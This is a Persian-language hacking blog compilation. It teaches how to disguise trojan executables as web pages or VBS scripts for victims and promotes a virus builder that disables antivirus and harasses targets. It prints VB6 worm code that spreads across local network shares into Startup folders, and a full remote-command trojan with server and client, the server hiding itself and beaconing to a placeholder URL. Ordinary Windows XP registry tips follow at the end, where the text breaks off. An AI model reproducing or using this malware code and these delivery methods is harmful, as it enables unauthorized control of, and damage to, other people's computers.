اين کار ۳ روش داره که اوليش اينه -->

برای اين منظور اول نرم افزار مورد نظر رو از اينجا دانلودش کنيد سپس :

 

۱- فايل دانلود شده را unzip کنيد ( برای اينکه آن زیپ کنيد کافيه روی

فولدر راست کليک کرده بعدش Extract all رو انتخاب کنيد )

 

۲- به جای فايل Temp.exe فايل سرور خودتون ولی با همين اسم را

در همين فولدر پيست paste کنيد

 

۳- در مرحله آخر هم فايل اچ تی ام ال رو به همراه سرور توی يک فضای

رايگان مثل yahoo کار بذاريد و آدرسشو به بينوا بديد 

-----------------

دومين روش آپ لود فايل اجرايی به صورت صفحه وب

 

اول بايد اين نرم افزار رو از اينــــــــــجا دانلود کنيد بعد آن زیپش کنيد

سرور يا همون فايل اجراييتون رو توی فولدر آن زیپ شده اين برنامه

پيست کنيد حالا فايل creator رو اجرا کنيد و اسم فايل سرور رو وارد

کنيد ( با هر اسمی که دوست داريد ) . بعد ok رو بزنيد

بعد از اتمام کار يک فايل html ساخته ميشه که همون فايل سرور

که آماده آپلود کردنه

 -----------

 روش سوم آپ لود فايل اجرايی روی سيستم قربانی

 

نرم افزار رو مثل ۲ مورد بالا برای تبديلExe به html  

دانلود کنيد  . بعد از اجرا فايل exe رو بکشيد و بندازيد

توی باکس . حالا ۲ تيک را چک زده بعدش هم دکمه Creat رو بزنيد

چند لحظه صبر کنيد بعد از اون برنامه براتون يه فايل با پسوند vbs

ميسازه .

 

که اين امکان رو به شما ميده که هم توی Html - Htm  اجرا بشه

و هم در asp .

 

سلام ممد جان ممنون از آموزشهات
اینو کجا سیو کنیم؟cpu-567njkblaster
مرسی

اینم یه برنامه برای ساخت ویروس خیلی توپه آموزششم براتون میزارم اگر نظرها زیاد باشه

دانلود برنامه

 Toxic-CV یک نرم افزاره که می تونه یک ویروس با قابلیت ها یی که شما  انتخاب می کنید درست کنه .
شما می تونید این ویروس رو به کسی که می خواین اذیتش کنین بفرستین . در ضمن Cv  مخفف Custimized Virus  هست .

قابلیت های برنامه :
1-راه اندازی در StartUp (بدون نمایش در Msconfig)
2-غیر فعال کردن TaskMgr,Msconfig,Regedit,Norton Anti Virus,Mcafee Antivirus,Windows Firewall
3-قابلیت تعیین نام ویروس بعد از Install 
4-پشتیبانی از پسوند ها مهم فایل های اجرایی مانند : exe , scr, bat ,  cmd , pif
5-قابلیت انتخاب Icon ویروس 
5-پیغام خطای کاذب ( Fake Message )
6-قابلیت بخشیدن قربانی به  2 صورت
7-قابلیت های  آزار قربانی مانند : پر کردن هارد ، بوق زدن ! ، کم کردن سرعت کامپیوتر ، و ....
8- حجم بسیار کم : 10-9 کیلوبایت 

آموزش استفاده از برنامه : 
برنامه رو اجرا کنید و در صفحه ی About  روی Ok  کلیک کنید ( نه بابا )
خوب تو صفحه ی اصلی  بخش اول یعنی  General Settings واضحه  و معمولا تو بیشتر Ps ها هم هست .بخش  Exe Icon & Name  هم که واضحه و به نام و Icon ویروس قبل از اینکه نصب شه اشاره داره
بخش Fake Message هم که واضح تر از همست . 

بخش Forgive Victim : این بخش واسه انتخاب گزینه هایی برای تنظیم بخشش  یا عدم بخشش قربانی هست . خوب شما اینجا سه تا گزینه می بینید :

الف : Forgive victim with this password : با انتخاب این گزینه اون قربانی که ویروس تو کامپیوترش اینستال شده با فشار دادن Alt + Ctrl + Del صفحه ای رو می بیینه که ازش یک رمز
می خواد اگه قربانی اون رمزی رو که شما در روبه روی این گزینه وارد کردید  رو وارد کنه . ویروس غیر فعال می شه .

ب  : Forgive victim after a restart : با انتخاب این گزینه ویروس بعد از یک ریستارت غیر فعال می شه .

چ  : Don't forgive victim : با انتخاب این گزینه ویروس  به هیچ وجه غیر فعال نمیشه . 

حالا می رسیم به بخش  Enable  & Disable Viruses  : تو این بخش شما می تونید قسمت های مختلف آزار قربانی خودتان رو در ویروس فعال یا غیر فعال کنید .
شرح قسمت ها مختلف :

1-Gardually decrease system speed : اگه این گزینه انتخاب بشه ویروس به تدریج سرعت سیستم رو کم می کنه تا جایی که ....  .

2-Gradually fill the hard : اگه این گزینه انتخاب بشه ویروس به تدریج  هارد رو پر می کنه تا جایی که ....  .

3-Disable Yahoo! Messenger : اگه این گزینه انتخاب بشه ویروس یاهو مسنجر رو غیر فعال می کنه !

4-Beep every second : اگه این گزینه انتخاب شه ویروس هر ثانیه بوق می زنه !

5-Swap mouse buttons every 30 seconds for 10 seconds : اگه این گزینه انتخاب شه ویروس هر 30 ثایه به مدت 10 ثانیه جای دکمه های ماوس رو عوض می کنه !

6-Shutdown computer every 20 minutes  : اگه این گزینه انتخاب شه ویروس بعد از 20 دقیقه که از روشن شدن کامپیوتر / اجرا شدن ویروس  بگذره سیستم قربانی رو شات داون می کنه .

7-Lock Computer Every 30 seconds for 10 seconds : اگه این گزینه انتخاب شه ویروس هر 30 ثانیه  به مدت 10 ثانیه کامپیوتر رو قفل می کنه .

وقتی همه ی تنظیمات رو انجام دادید روی Create Virus  کلیک کنید فایل ویروس به نامی که شما در قسمت  Exe name وارد کردید در پوشه ای که برنامه توش اجرا شده ساخته می شه .

در ضمن این برنامه را دوست عزیز   Toxic-Cv  ساخته...

()Private Sub map_drive


On Error Resume Next
Dim buff
Dim combuff
Dim buffadd
Dim fso, folder
Dim r
Dim s
Dim add
Dim sharename
Dim pingbuff, buff2
Dim count
Dim a As String
Dim hm
hm = 1
a = """"
Set fso = CreateObject("scripting.filesystemobject")
Set oshell = CreateObject("WScript.Shell")
For r = ipbuff To ipbuff2
s = 1
add = "192.168." & r & "." & s
oshell.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
Set fsoo = CreateObject("scripting.filesystemobject")
Set rdd = fsoo.opentextfile("C:\plog.tmp")
pingbuff = ""
For i = 0 To 3
pingbuff = rdd.readline
Next i
buff2 = InStr(pingbuff, "TTL=")
If buff2 <> "0" Or ipbuff = ipbuff2 Then 'connect suc
For s = 1 To 255
add = "192.168." & r & "." & s
Set oshell_1 = CreateObject("WScript.Shell")
oshell_1.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
Set oshell_1 = Nothing
Set fsoo = CreateObject("scripting.filesystemobject")
Set rdd = fsoo.opentextfile("C:\plog.tmp")
pingbuff = ""
For i = 0 To 3
pingbuff = rdd.readline
Next i
buff2 = InStr(pingbuff, "TTL=")
If buff2 <> "0" Then 'connect suc
Set oshell_2 = CreateObject("WScript.Shell")
oshell_2.run "%comspec% /C net view \\" & add & " > C:\clog.tmp", 0, True
Set oshell_2 = Nothing
Set fso = CreateObject("scripting.filesystemobject")
Set rd = fso.opentextfile("C:\clog.tmp")
buff = ""
Do While rd.AtEndOfStream <> True
buff = rd.readline
combuff = Right(Trim(buff), 4)
If Right(combuff, 4) = "Disk" Then
buffadd = Left(buff, 13)
If Len(Trim(buffadd)) > 0 Then
sharename = a & "\\" & add & "\" & Trim(buffadd) & a
vadd = add
vshare = buffadd
Set oshell_3 = CreateObject("WScript.Shell")
oshell_3.run "net use K:" & " " & sharename, vbHide
Set oshell_3 = Nothing
Call getname
test = 0
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\" & appl & ".exe"
test = Err.Number
If test >= 1 Then
'w
Else
Call log
End If
FileCopy App.Path & "\" & App.EXEName & ".exe",
"K:\WINDOWS\Start Menu\Programs\StartUp\readme.exe"
If Err.Number > 0 Then
'w
Else
vshare = "startup98"
Call log
End If
FileCopy App.Path & "\" & App.EXEName & ".exe",
"K:\Documents and Settings\Administrator\Start
Menu\Programs\StartUp\readme.exe"
If Err.Number > 0 Then
'w
Else
vshare = "startupNT"
Call log
End If
dummy = GetAttr("K:")
If dummy = 0 Then
End If
Set dshell = CreateObject("WScript.Shell")
dshell.run "net use K: /delete ", vbHide
Set dshell = Nothing
End If
End If
Loop
End If
Next s
End If
Next r
Set fso = Nothing
Set fsoo = Nothing
Set oshell = Nothing


End Sub

توجه :

این جانب نویسنده این مقاله هیچ مسئولیتی در قبال استفاده شما از مطالب این مقاله را بر عهده نمی گیرم زیرا این مقاله فقط جنبه آموزشی دارد و در صورتی که با این موضوع موافق نیستید از خواندن ادامه این مقاله پرهیز کنید .

خوب , اگه دنبال یه مقاله خوب واسه تروجان نویسی با ویژوال بیسیک 6 هستید فکر میکنم مقاله خوبی پیش روی شماست البته این مقاله خیلی مختصر هستش ولی اگه در آینده وقتشو داشتم یه مقاله مفصل در این باره مینویسم .

بزارید این اول یه توضیح مختصری در مورد تروجان بدم و اینکه تروجانها چطوری کار میکنند .

یه تروجان یا بهتره بگم یک اسب تروجان کامپیوتری مثل یه برنامه ساده هستش که ازش انتظار انجام کار خاصی رو میشه ولی در اصل اون برنامه کارهای مخفیه دیگه ای رو انجام میده . خیلی ساده هدف ما اونو دانلود میکنه به گمان اینکه یه برنامه خوب باشه مثلا یه بازی جذاب ولی وقتی اونو اجرا میکنه تروجان مثل یه سرور شروع به کار میکنه حالا اینکه سرور چیه فکر نمی کنم به موضوع این مقاله زیاد ربطی داشته باشه ولی به عنوان یک تعریف ساده میشه گفت برنامه ای که پاسخ گوی درخواستها باشه رو بهش میگن سرور .

خوب حالا یه تروجان چطوری کار میکنه ؟

ما دو تا فایل داریم که یکیش سرور هستش و یکی هم کلاینت که کار این کلاینت درخواست کردن هستش حالا درخواست چی ؟ دیگه دیگه ...!!!

این سرور همون فایلی هستش که ما واسه هدفمون می فرستیم و این کلاینت مرکز کنترل سرور هستش . این سرور و کلاینت برای ایجاد ارتباط با هم نیاز به یه کنترلی دارند به نام winsock .

winsock یکی از کنترل های ویژوال بیسیک هستش که اجازه ارتباط میان کامپیوتر ها رو به ما میده . مثلا فکر کنید که ما دستور خاموش کردن رو به سرور میفرستیم . این وینساک به ما کمک میکنه تا اطلاعات رو از کامپیوتر خودمون به سرور بفرستیم . خوب حالا اونور داستان وقتی اطلاعات به کامپیوتر هدف رسید اونجا یه سوراخی هستش که به سرور میگه این بچه دباره کرمش گرفته کامپیوتر این بد بخت رو خاموش کنه و سرور هم به کامپیوتر هدف میگه که خاموش شه و اون بدبختم که احتمالا 24 ساعته که روشنه از خدا خواسته ...

حالا دیگه داستان تعریف کردن بسه بریم سر اصل مطلب

این کد هایی که این زیر مشاهده میکنید کدهای فایل server.exe هستش . توجه کنید که شما به کنترل وینساک نیاز دارید پس دکمه های Ctl + T رو باهم فشار دهید و از پینجره ای که باز میشه دنبال Microsoft Winsock Control 6.0 بگردین . بعد از اضافه کردن اسمشو بزارید winsock1 .

خوب حالا بیاید ببینیم این کدها چیکار میکنند


Private Sub Form_Load()
Me.Hide
If Winsock1.State <>; sckClosed Then Winsock1.Close
Winsock1.LocalPort = 3333
Winsock1.Listen
Shell ("explorer http://www.yoursite/log.php")
End Sub



Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub



Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Shell data, vbNormalFocus
End Sub




me.hide اگه کسی ندونه این چیه که خیلی باحاله
If Winsock1.State <> sckClosed Then Winsock1.Close وقتی صفحه لود میشه همه ارتباط های مربوط به وینساکمونو میبنده
Winsock1.LocalPort = 3333 پورت وینساک رو تنظیم میکنه یعنی از این پورت میشه بهش کانکت شد
Winsock1.Listen خوب حالا وینساک گوش به زنگ میمونه تا یکی بهش کانکت شه
Shell ("explorer http://www.yoursite/log.php") این یه کد اختیاری برای فهمیدن آدرس های فعال میشه از روشهای دیگه ای آیپی هدف رو در اختیار خودمون قرار بدیم
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)درخواست ارتباط رو فعال میکنه
If Winsock1.State <> sckClosed Then Winsock1.Close Close اگه ارتباطی فعال باشه اونو قطع میکنه
Winsock1.Accept خوب حالا ارتباط مورت تائید قرار میگیره
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) وقتی داده ای بیاد فعال میشه مثل وقتی که دستوری بفرستیم واسش
Dim Data As String خوب حالا یه متغیر تعریف کردیم
Winsock1.GetData Data خوب حالا داده ها که همون دستورات هستند رو دریافت میکنیم
Shell data, vbNormalFocus به به اینهمه زور زدیم که به همین جا برسیم حالا داده های رسیده مثل یه دستور اجرا میشه مثلا اگه بنویسیم shutdown -s -t 10 و ارسال کنیم کامپیوتر قربانی بعد از مدت 10 ثانیه خاموش میشه

خوب حالا نوبت کلاینت هستش . کد زیر کد فایل client.exe هستش که توی فرممون نیاز به یه دونه وینساک به نام winsock1 و سه تا تکست باکس به نام های textbox 1 , textbox2 , twxtbox3 و همچنین 2 تا کامند باتن به نامهای command1 , command 2 داریم


Private Sub Command1_Click()
Winsock1.RemotePort = Text2.Text
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub



Private Sub Command2_Click()
Winsock1.SendData Text3.Text
End Sub



Private Sub Form_Load()
If Winsock1.State <> sckClosed Then Winsock1.Close
End Sub



Private Sub Winsock1_Connect()
msgbox ("Connected!")
End Sub



Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error"
End Sub






خوب حالا ببینیم این کدها چیکار میکنند

Private Sub Command1_Click() وقتی کامند 1 کلیک میشه اجرا میشه
Winsock1.RemotePort = Text2.Text پورت کامپیوتر قربانی به اون چیزی که توی تکستباکس 2 نوشته شده تنظیم میشه
Winsock1.RemoteHost = Text1.Text آدرس کامپیوتر قربانی رو به اونچیزی که توی تکستباکس 1 نوشته شده تنظیم میکنه
Winsock1.Connect جهت ایجاد ارتباط با هدف شروع به تلاش کردن میکنه
Private Sub Command2_Click() وقتی کامند 2 فشرده میشه
Winsock1.SendData Text3.Text داده های درون تکستباکس 3 رو برای کامپیوتر هدف ارسال میکنه
Private Sub Form_Load() When client started
If Winsock1.State <> sckClosed Then Winsock1.Close وقتی فرم لود میشه اگه وینساک مون ارتباط فعالی داشده باشه اونو قطع میکنه
Private Sub Winsock1_Connect() وقتی وینساک کانکت میشه
msgbox ("Connected!") ایجاد ارتباط رو اعلام میکنه
Private Sub Winsock1_Error(...) وقتی خطایی رخ بده
MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error" خطا اعلام میشه

خیلی ساده بود نه؟ اگه دیدم که این مقاله مورد علاقه قرار گرفت شاید قسمت دومش رو هم بنویسم البته خیلی عمقی تر و پیشرفته تر از یه تروجان ساده داس .

در IE وقتی روی تصویری راست كلیك كرده و گزینه‌ی Set as background را انتخاب می‌كنید، background تغییر می‌كند. برای جلوگیری از چنین كاری در كادر محاوره‌ای Run تایپ كنید Regedit و مسیر زیر را دنبال كنید:

HKEY-CURRENT-USER\ Software\microsoft\windows\currentVersion\

Policies\ActiveDesktop

و یك مقدار DWORD به نام NoChangingWallpaper ايجاد كنید و مقدار آن را یك قرار دهید. توجه داشته باشید این تنظیم فقط برای ویندوز XP است و حتما باید یك عكس را به عنوان Background انتخاب كنید، نه گزینه‌ی None (ولا غیر)

مسیر:Control Panel\Power OPtion\Advanced
در قسمتPower Buttons در منوی کشویی اول می توانیدفرمان:
۱.غیر فعال=Do Nothing
۲.پرسش برای انجام فرمان=Ask Me What To Do
Stand By.۳
Hibernate.۴
Shut down.۵

جون من یه نظر بده دیگه...

1- سرعت بارگيرى (Download) همزمان را افزايش دهيد!

مرورگر اينترنت (IE) نسخه 6 به شما فقط اجازه دو عمل بارگيرى همزمان را مى‏دهد. اين مقدار را مى‏توان به 10 رساند. چگونه؟ در پنجره Run، regedit را تايپ كرده و كليد enter را فشار دهيد. در ويرايشگر رجيسترى ويندوز به آدرس

HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionInternetSettings

برويد و منوى edit را باز كنيد. "Add Value" را انتخاب كنيد و مقادير زير را در آن بنويسيد:

"MaxConnectionsPer1_0Server"=Dword:0000000a
"MaxConnectionsPerServer"=Dword:0000000a

ويرايشگر رجيسترى را ببنديد و سيستم را دوبار راه‏اندازى كنيد.
2- آيا آدرس IP خود را مى‏دانيد؟

پنجره Run را باز كنيد و Winipcfg را تايپ كنيد و كليد Enter را فشار دهيد، شما مى‏توانيد با اجرا شدن اين دستور آدرس IPخود را ببينيد. اين آدرس همان آدرسى است كه ISP به شما مى‏دهد.
3- بررسى ديوار آتش (Firewall):

ويندوز XP اولين نسخه ويندوز است كه ديوار آتش خودش را به همراه دارد Internet Connection Firewall(ICF). اين برنامه از شما در برابر نفوذگران محافظت مى‏كند. براى بررسى فعال بودن ICF در Control Panel وارد Network Connections شويد بسته به نوع ارتباط شما (..., Dial-up, DSL) ممكن است آيكونهاى مختلف ارتباطى را ببينيد روى يكى ازآيكونها عمل كليك راست بزنيد و Properties را انتخاب كرده

، سپس در اين پنجره Advanced را انتخاب كنيد. در باكس انتخاب ICF يك كليك بزنيد و دكمه OK را فشار دهيد. حالا روى آيكونى كه انتخاب كرده بوديد علامت يك قفل ظاهر مى‏شود و اين علامت به معنى فعال بودن ICF مى‏باشد.
4- تنظيم ICF:

خودتان مى‏توانيد ICF را براى سرويسها تنظيم كنيد. براى اينكار بايد تا همان پنجره Advanced قبلى جلو برويد و پس از تيك زدن در باكس انتخاب ICF، در پايين پنجره دكمه Settingرا مشاهده مى‏كنيد كه در آن مى‏توانيد هر سرويسى را انتخاب كنيد.
5- Refresh كردن فايلهاى اينترنتى:

فايلهاى موقت اينترنتى شامل صفحاتى هستند كه شما تا آنها را ديده‏ايد و با گذشت زمان اين صفحات به روز رسانده مى‏شوند. مرورگر اينترنت اين امكان را به شما داده است كه حالتهاى مختلفى را براى اين عمل انتخاب كنيد. براى ديدن اين حالتها وارد Internet Optionsشويد (از طريق منوى Toolsدر IE) و Settingرا در كادر Temporary Internet Files انتخاب كنيد. مى‏توانيد هر چهار حالت مربوطه را ببينيد. از توضيح اين حالتها به علت واضح بودن صرفنظر مى‏كنيم.
6- امنيت Windows Media Player:

Media Player ويندوز هم مانند بقيه نرم‏افزارها مى‏تواند اطلاعاتى را درباره CD در حال پخش پيدا كند. در ضمن بدست آوردن اين اطلاعات، اطلاعاتى از قبيل نسخه PlayerMedia به سايت مربوطه فرستاده مى‏شود و آن سايت Player را تشخيص مى‏دهد. براى اين كار داده‏ها بايد به صورت اشتراكى باشند تا آنها بتوانند به داده‏ها دسترسى پيدا كنند. براى جلوگيرى از اشتراك داده‏ها مى‏توانيد منوى Tools را در Media Player باز كرده و Option را انتخاب كنيد. در پنجره بازشده در كادر Internet Settings تيك عبارت Allow Internet Sites to uniquely identify your Player را برداريد. با برداشتن آن ديگر به‏سايتهاى اينترنتى اجازه نمى‏دهيد Player شما را تشخيص دهند.
نکته هاي سيستمي در ويندوز
7- ايجاد يك ميانبر براى‏ Outlook Contacts:

ايجاد يك ميانبر براى Contacts روى دسك تاپ باعث مى‏شود كه شما هر وقت Outlookرا باز مى‏كنيد، قسمتهاى آدرس و شماره تلفن را مشاهده كنيد. براى ايجاد اين ميانبر روى دسك تاپ كليك راست بزنيد و New و بعد Shortcut را انتخاب كنيد. با انتخاب اين قسمت پنجره‏اى باز مى‏شود كه بايد مسير outlook.exeرا بدهيد. (مسير بين دو علامت " "قرار مى‏گيرد). بعد از اين عبارت بايد outlook:contactsرا تايپ كنيد و OKرا فشار دهيد. كار تمام است، Outlook را اجرا كنيد و خودتان نتيجه را ببينيد.
8- برگرداندن مرورگر ويندوز (Restore Windows Explorer)

زمانى كه اشتباهى در اجراى برنامه‏ها در XP مى‏افتد، تمام آيكونهاى روى دسك تاپ ناپديد مى‏شوند و يا در مرورگر ويندوز اشتباهى پيش مى‏آيد. به جز راه‏اندازى مجدد سيستم، XP راه ديگرى هم ارائه داده است. براى برگرداندن مرورگر ويندوز دكمه‏هاى Ctrl&Alt&Del را بگيريد و در پنجره Task Manager، دكمه New task را انتخاب و در كادر آن explorer را تايپ كنيد. خواهيد كه پنجره مرورگر ويندوز ظاهر مى‏شود.
9- Hibernation (خواب زمستانى! را از كار بيندازيد)

مى‏دانيد كه حالت Hibernation را مى‏توانيد با پايين نگاه داشتن كليد shift در پنجره خاموش كردن انتخاب كنيد. Hibernation تمام اطلاعات شما را روى ديسك سخت ذخيره مى‏كند و سيستم را خاموش مى‏كند. اين حالت به صرفه‏جويى در منابع انرژى بسيار كمك مى‏كند، چون مانند حالت Stand-by تمام اطلاعات شما را ذخيره مى‏كند با اين تفاوت كه Hibernation سيستم را خاموش مى‏كند. اگر بخواهيد اين حالت را غيرفعال كنيد بايد به قسمت Power Options در Control Panel برويد و در قسمت Hibernate كادر Enable Hibernation را غيرفعال كنيد.
10- غيرفعال كردن پيغامهاى خطا:

زمانى كه ويندوز XP با يك خطا برخورد مى‏كند، يك پيغام خطا ايجاد مى‏كند كه از شما مى‏پرسد مى‏خواهيد اين خطا را به مايكروسافت گزارش دهيد يا نه (Send error). اگر برنامه‏هايى داريد كه باعث ايجاد اين پيغامها مى‏شوند، مى‏توانيم به شما كمك كنيم كه حتى در موقع پيش آمدن خطا هم آنها را ديگر نبينيد! بدين ترتيب وارد قسمت Performance and Maintenance(كه در Control Panel قرار دارد) بشويد. در آنجا وارد Systemبشويد (يا اينكه روى My Computer كليك راست بزنيد و Properties را انتخاب كنيد). بعد از آن وارد قسمت Advancedشويد و Error Reporting را باز كنيد. در اين پنجره مى‏توانيد آنها را از كار بيندازيد يا اينكه ايجاد پيغامهاى خطا را محدود كنيد.
11- حل مشكلات سازگارى در XP

يك مشكل عمومى كه در ارتقاء هر ويندوز به ويندوز XP اتفاق مى‏افتد ناسازگارى برنامه‏ها و نرم‏افزارها با ويندوز XP است. اين امر در ويندوز 2000 هم اتفاق مى‏افتاد و ويندوز XP كه معماريش بر پايه ويندوز 2000 است از اين امر مستثنى نيست. دو راه براى حل اين مشكل وجود دارد. اولى انتخاب حالت سازگارى است كه مى‏توانيد آنرا با كليك راست روى هر برنامه و انتخاب Properties و بازكردن قسمت Compatibility تنظيم كنيد. در اين پنجره مى‏توانيد برنامه‏ها را در حالت سازگارى با وي ندوز 95، 98 ، NT4.0 و ويندوز 2000 اجرا كنيد. حتى مى‏توانيد تعيين كنيد كه برنامه در حالت 256 رنگى اجرا شود و يا اينكه در حالتى اجرا شود كه دقت تصوير 480*640 باشد و يا اينكه تمام امكانات بصرى را از كار بيندازيد .(Disable Visual Themes)

دومين روش دستكارى خود برنامه و مراحل نصب است. اين بار بايد سراغ ديسك نصب برنامه موردنظر برويد و در آن دنبال قسمتى برگرديد كه مربوط به ويندوز XP مى‏باشد. فايل setup.exe آنرا پيدا و اجرا كنيد. در واقع فقط برنامه و نرم‏افزارهايى كه از ويندوز XP پشتيبانى مى‏كنند اين قسمت خاص را دارا مى‏باشند. در اكثر موارد روش دوم بهتر عمل كرده و روش اول به ندرت كاملاً درست كار كرده است.
12- غيرفعال كردن System Recovery

قسمت «بازيافت سيستم» مى‏تواند ابزار مناسبى براى ترميم سيستم باشد. البته كند عمل مى‏كند و مقدارى از فضاى ديسك سخت را مى‏گيرد. براى از كار انداختن آن روى My Computer كليك راست بزنيد و Properties را انتخاب كنيد. قسمت System Restore را انتخاب كنيد و در پنجره آن كادر انتخابى را فعال كنيد. با فعال كردن آن عمليات بازيافت روى تمام درايوها از كار مى‏افتد.
13- عقب گرد راه‏اندازهاى XP:

زمانى كه وسيله جديدى را نصب مى‏كنيد، ممكن است راه‏انداز آن احتياج به روزرسانى داشته باشد. وقتى شما عمل به روزرسانى راه‏انداز را انجام مى‏دهيد، ممكن است در بعضى موارد مشاهده شود كه اين وسيله تحت XP درست كار نمى‏كند و بنابراين عمل به روزرسانى راه‏انداز اين وسيله به جاى بهتركردن كار، كار را خرابتر كرده است. حالا چه بايد كرد؟ نگران نباشيد XP فكر اينجا را هم كرده است! وارد Device Manager شويد (از طريق كليك راست روى My Computerو انتخاب Properties و Hardware) و روى وسيله موردنظر كليك راست بزنيد و Properties را انتخاب كنيد. بعد از آن قسمت Driver را باز كنيد و دكمه RollBack Driver را بزنيد. راه‏انداز جديد برداشته مى‏شود و وسيله موردنظرتان با همان راه‏انداز قبلى كار خواهد كرد.
14- از كار انداختن Task Scheduler:

زمانبند وظايف ويندوز يك ابزار سودمند است ولى اين برنامه CPUو فضاى حافظه را اشغال مى‏كند. شما نمى‏توانيد آنرا حذف كنيد ولى مى‏توانيد آنرا از كار بيندازيد. براى اينكار ويرايشگر رجيسترى ويندوز را باز كنيد. به مسير زير برويد:

HKEY_LOCAL_MACHINESoftwareMicrosoftWindows CurrentVersionRunServices

خط مربوط به زمانبند را پيدا كنيد نام فايل mstask.exe را حذف كنيد و سيستم را مجدداً راه‏اندازى كنيد. از اين به بعد زمانبند بار نمى‏شود.
15- انتقال ديسك سخت

زمانى كه سيستم خود را ارتقاء مى‏دهيد ممكن است كه بخواهيد ديسك سخت آنرا نگه داريد. براى اين امر شما تمام تنظيمات مربوط به وسايل را برداريد تا دچار مشكل نشويد.

ويرايشگر رجيسترى ويندوز را باز كنيد و تمام قسمت Enum را در HKEY_LOCAL_MACHINE حذف كنيد (البته ما هيچ مسؤوليتى در برابر مشكلات احتمالى به عهده نمى‏گيريم).
16- امن كردن سيستم

شما مى‏توانيد يك كلمه عبور را به Screen Saver اضافه كنيد و آنرا با سوئيچ "/s" در دايركتورى Startup قرار دهيد. اين روش دقيقاً مانند اين است كه سيستم شما كلمه عبور دارد. براى اينكار وارد پوشه Windowssystem شويد و يكى از Screen Saverها را انتخاب و در پنجره Startup كپى كنيد. اين كار باعث مى‏شود بلافاصله پس از شروع ويندوز محافظ صفحه موردنظر اجرا شود و كلمه عبور براى بازگشت، باعث امنيت ويندوز مى‏شود.

اگر كلمه عبور را فراموش كرديد ناراحت نباشيد، سيستم را مجدداً راه‏اندازى كنيد و در موقع اجراشدن سيستم كليد F5 را پايين نگه داريد. اين باعث مى‏شود كه سيستم به صورت Safe mode اجرا شود. ديگر هيچ كدام از برنامه‏هاى Startup از جمله محافظ صفحه موردنظر اجرا نمى‏شود. فايل Control.ini (در شاخه windows) را باز كنيد و Screensaver.name را پيدا كنيد. قسمت نام محافظ صفحه‏اى است كه شما استفاده مى‏كنيد. آن را كلاً حذف كنيد و يا مقدار pwprotected را از 1 به 0 تغيير دهيد. بعد از ربوت شدن سيستم كلمه عبور حذف شده است.
17- برداشتن پيغامهاى خطاى Rundll:

ظاهرشدن اين پيغامها در شروع برنامه‏ها و جاهاى ديگر بسيار عمومى است كه در بعضى مواقع ممكن است رنج‏آور باشد و به همين دليل شايد بخواهيد آنها را از كار بيندازيد. براى اين كار به آدرس

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

در ويرايشگر رجيسترى ويندوز برويد و در آنجا دنبال رشته پيغام خطا بگرديد (همان پيغامهايى كه در موقع بروز خطا ظاهر مى‏شد). بعد از پيدا كردن آن را پاك كنيد و سيستم را مجدداً راه‏اندازى كنيد. ديگر اين پيغام را نخواهيد ديد.
نكاتى در مورد منوها و عملياتى جالب و غيرعادى در ويندوز
18- آيكونهاى ميانبر را عوض كنيد

اينكار را مى‏توانيد با كليك راست روى آيكون و قسمت Properties>Shortcut>Change Icon را انتخاب كنيد.

تمام آيكونهاى مخفى كه در فايل windowssystemshell32.dll قرار دارد.
19- صفحه كليد XP:

در ويندوز XP مى‏توانيد به يك صفحه كليد مانند صفحه كليد خودتان اما روى صفحه نمايشگر دست يابيد. با اجراكردن اين صفحه كليد يك پنجره مانند شكل بالا كه مى‏بينيد. با فشاردادن هر دكمه روى صفحه كليد خود، دكمه موردنظر روى اين صفحه كليد مشخص مى‏شود. از اين صفحه كليد مى‏توانيد براى يادگيرى تايپ نيز استفاده كنيد.
20- برداشتن پشت زمينه آيكونها:

در ويندوز XP يك خاصيت وجود دارد كه مى‏تواند جالب باشد. اين كار را در ويندوزهاى ديگر نمى‏توانستيد انجام دهيد و آن اين بود كه روى نوشته تمام آيكونهاى روى Desktop يك پشت زمينه رنگى وجود دارد كه به هيچ وجه از بين نمى‏رود، اما در ويندوز XP اين كار عملى شده است. براى انجام آن وارد پنجره System Properties (كليك راست روى My Computer و انتخاب Properties) بشويد و بعد به قسمت Advanced و بعد Performance>Setting برويد. در آنجا دنبال عبارت 'use drop shadows for icon labels' بگرديد و كادر انتخابى آنرا فعال كنيد.
21- برداشتن باكسهاى بالونى شكل:

اگر ويندوز XP داريد حتماً با پنجره‏هايى شبيه بالون كه براى توضيحاتى در مورد مطلبى باز مى‏شوند برخورد كرده‏ايد. شما مى‏توانيد آنها را از كار بيندازيد؛ براى انجام اين كار وارد ويرايشگر رجيسترى شويد و به آدرس زير برويد:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced

بعد از اينكار و رفتن به آدرس بالا در اين قسمت كليك راست بزنيد و يك NewDwordValue با نام EnableBalloonTips ايجاد كنيد و مقدار آن را صفر قرار دهيد. همين! ديگر بالونها را نخواهيد ديد.
22- برداشتن اخطار برنامه Msconfig:

اگر شما با استفاده از برنامه Msconfig تغييراتى در سيستم خود داده‏ايد، ممكن است دفعه بعد در بوت شدن سيستم اخطارهايى را ببينيد كه در بعضى مواقع شما را اذيت مى‏كند. شما مى‏توانيد اين اخطارها از بين ببريد. براى اينكار به آدرس

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

در ويرايشگر رجيسترى برويد و مقدار Msconfig Reminder را پاك كنيد.
23- تغييرات در Office Asistant

همه با دستيار آفيس مايكروسافت (به شكل گيره كاغذ و سگ و گربه و...) آشنا هستيد. شما مى‏توانيد آنرا كاملاً حذف كنيد و يا اينكه در عمليات آن تغييراتى ايجاد كنيد. براى حذف كامل آن به آدرس

